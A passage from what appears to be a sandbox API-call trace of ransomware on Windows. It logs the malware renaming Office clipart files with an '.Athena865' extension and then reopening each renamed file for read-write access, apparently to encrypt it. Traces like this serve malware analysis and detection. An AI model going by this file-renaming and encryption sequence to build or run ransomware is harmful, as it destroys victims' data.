returned 1 [0123.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.781] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68776) returned 1 [0123.787] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HTECH_01.MID" | out: lpString1="HTECH_01.MID") returned="HTECH_01.MID" [0123.787] lstrlenW (lpString="HTECH_01.MID") returned 12 [0123.787] lstrlenW (lpString="Athena865") returned 9 [0123.787] lstrcmpiW (lpString1="CH_01.MID", lpString2="Athena865") returned 1 [0123.787] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.Athena865") returned 73 [0123.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.789] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7178) returned 1 [0123.792] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00046_.WMF" | out: lpString1="IN00046_.WMF") returned="IN00046_.WMF" [0123.792] lstrlenW (lpString="IN00046_.WMF") returned 12 [0123.792] lstrlenW (lpString="Athena865") returned 9 [0123.792] lstrcmpiW (lpString1="0046_.WMF", lpString2="Athena865") returned -1 [0123.792] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.Athena865") returned 73 [0123.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.794] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1158) returned 1 [0123.797] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00118_.WMF" | out: lpString1="IN00118_.WMF") returned="IN00118_.WMF" [0123.797] lstrlenW (lpString="IN00118_.WMF") returned 12 [0123.797] lstrlenW (lpString="Athena865") returned 9 [0123.797] lstrcmpiW (lpString1="0118_.WMF", lpString2="Athena865") returned -1 [0123.797] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.Athena865") returned 73 [0123.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=792) returned 1 [0123.802] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00177_.WMF" | out: lpString1="IN00177_.WMF") returned="IN00177_.WMF" [0123.802] lstrlenW (lpString="IN00177_.WMF") returned 12 [0123.802] lstrlenW (lpString="Athena865") returned 9 [0123.802] lstrcmpiW (lpString1="0177_.WMF", lpString2="Athena865") returned -1 [0123.802] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.Athena865") returned 73 [0123.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.803] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1074) returned 1 [0123.807] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00204_.WMF" | out: lpString1="IN00204_.WMF") returned="IN00204_.WMF" [0123.807] lstrlenW (lpString="IN00204_.WMF") returned 12 [0123.807] lstrlenW (lpString="Athena865") returned 9 [0123.807] lstrcmpiW (lpString1="0204_.WMF", lpString2="Athena865") returned -1 [0123.807] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.Athena865") returned 73 [0123.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.808] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1848) returned 1 [0123.812] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00233_.WMF" | out: lpString1="IN00233_.WMF") returned="IN00233_.WMF" [0123.812] lstrlenW (lpString="IN00233_.WMF") returned 12 [0123.812] lstrlenW (lpString="Athena865") returned 9 [0123.812] lstrcmpiW (lpString1="0233_.WMF", lpString2="Athena865") returned -1 [0123.812] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.Athena865") returned 73 [0123.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.814] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11190) returned 1 [0123.817] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00343_.WMF" | out: lpString1="IN00343_.WMF") returned="IN00343_.WMF" [0123.817] lstrlenW (lpString="IN00343_.WMF") returned 12 [0123.818] lstrlenW (lpString="Athena865") returned 9 [0123.818] lstrcmpiW (lpString1="0343_.WMF", lpString2="Athena865") returned -1 [0123.818] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.Athena865") returned 73 [0123.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.823] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1892) returned 1 [0123.829] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00346_.WMF" | out: lpString1="IN00346_.WMF") returned="IN00346_.WMF" [0123.829] lstrlenW (lpString="IN00346_.WMF") returned 12 [0123.829] lstrlenW (lpString="Athena865") returned 9 [0123.829] lstrcmpiW (lpString1="0346_.WMF", lpString2="Athena865") returned -1 [0123.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.Athena865") returned 73 [0123.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.831] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=696) returned 1 [0123.834] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00351_.WMF" | out: lpString1="IN00351_.WMF") returned="IN00351_.WMF" [0123.834] lstrlenW (lpString="IN00351_.WMF") returned 12 [0123.834] lstrlenW (lpString="Athena865") returned 9 [0123.835] lstrcmpiW (lpString1="0351_.WMF", lpString2="Athena865") returned -1 [0123.835] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.Athena865") returned 73 [0123.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.836] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1928) returned 1 [0123.839] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00557_.WMF" | out: lpString1="IN00557_.WMF") returned="IN00557_.WMF" [0123.839] lstrlenW (lpString="IN00557_.WMF") returned 12 [0123.839] lstrlenW (lpString="Athena865") returned 9 [0123.839] lstrcmpiW (lpString1="0557_.WMF", lpString2="Athena865") returned -1 [0123.839] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.Athena865") returned 73 [0123.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.840] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9172) returned 1 [0123.844] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00915_.WMF" | out: lpString1="IN00915_.WMF") returned="IN00915_.WMF" [0123.844] lstrlenW (lpString="IN00915_.WMF") returned 12 [0123.844] lstrlenW (lpString="Athena865") returned 9 [0123.844] lstrcmpiW (lpString1="0915_.WMF", lpString2="Athena865") returned -1 [0123.844] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.Athena865") returned 73 [0123.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.846] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12748) returned 1 [0123.849] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00919_.WMF" | out: lpString1="IN00919_.WMF") returned="IN00919_.WMF" [0123.850] lstrlenW (lpString="IN00919_.WMF") returned 12 [0123.850] lstrlenW (lpString="Athena865") returned 9 [0123.850] lstrcmpiW (lpString1="0919_.WMF", lpString2="Athena865") returned -1 [0123.850] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.Athena865") returned 73 [0123.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.851] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6920) returned 1 [0123.854] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00956_.WMF" | out: lpString1="IN00956_.WMF") returned="IN00956_.WMF" [0123.854] lstrlenW (lpString="IN00956_.WMF") returned 12 [0123.854] lstrlenW (lpString="Athena865") returned 9 [0123.855] lstrcmpiW (lpString1="0956_.WMF", lpString2="Athena865") returned -1 [0123.855] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.Athena865") returned 73 [0123.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.856] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1256) returned 1 [0123.860] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IN00957_.WMF" | out: lpString1="IN00957_.WMF") returned="IN00957_.WMF" [0123.860] lstrlenW (lpString="IN00957_.WMF") returned 12 [0123.860] lstrlenW (lpString="Athena865") returned 9 [0123.860] lstrcmpiW (lpString1="0957_.WMF", lpString2="Athena865") returned -1 [0123.860] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.Athena865") returned 73 [0123.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.861] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2944) returned 1 [0123.864] lstrcpyW (in: lpString1=0x241e8ae, lpString2="INDST_01.MID" | out: lpString1="INDST_01.MID") returned="INDST_01.MID" [0123.864] lstrlenW (lpString="INDST_01.MID") returned 12 [0123.864] lstrlenW (lpString="Athena865") returned 9 [0123.864] lstrcmpiW (lpString1="ST_01.MID", lpString2="Athena865") returned 1 [0123.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.Athena865") returned 73 [0123.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.865] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8568) returned 1 [0123.869] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0075478.GIF" | out: lpString1="J0075478.GIF") returned="J0075478.GIF" [0123.869] lstrlenW (lpString="J0075478.GIF") returned 12 [0123.869] lstrlenW (lpString="Athena865") returned 9 [0123.869] lstrcmpiW (lpString1="75478.GIF", lpString2="Athena865") returned -1 [0123.869] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.Athena865") returned 73 [0123.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.athena865"), dwFlags=0x1) returned 1 [0123.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.871] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1220) returned 1 [0123.875] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0086384.WMF" | out: lpString1="J0086384.WMF") returned="J0086384.WMF" [0123.875] lstrlenW (lpString="J0086384.WMF") returned 12 [0123.875] lstrlenW (lpString="Athena865") returned 9 [0123.875] lstrcmpiW (lpString1="86384.WMF", lpString2="Athena865") returned -1 [0123.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.Athena865") returned 73 [0123.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.athena865"), dwFlags=0x1) returned 1 [0123.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.884] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9734) returned 1 [0123.890] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0086420.WMF" | out: lpString1="J0086420.WMF") returned="J0086420.WMF" [0123.890] lstrlenW (lpString="J0086420.WMF") returned 12 [0123.890] lstrlenW (lpString="Athena865") returned 9 [0123.890] lstrcmpiW (lpString1="86420.WMF", lpString2="Athena865") returned -1 [0123.890] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.Athena865") returned 73 [0123.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.athena865"), dwFlags=0x1) returned 1 [0123.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.891] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9596) returned 1 [0123.894] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0086424.WMF" | out: lpString1="J0086424.WMF") returned="J0086424.WMF" [0123.894] lstrlenW (lpString="J0086424.WMF") returned 12 [0123.894] lstrlenW (lpString="Athena865") returned 9 [0123.894] lstrcmpiW (lpString1="86424.WMF", lpString2="Athena865") returned -1 [0123.894] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.Athena865") returned 73 [0123.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.athena865"), dwFlags=0x1) returned 1 [0123.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.895] GetFileSizeEx (in: hFile=0x17c, 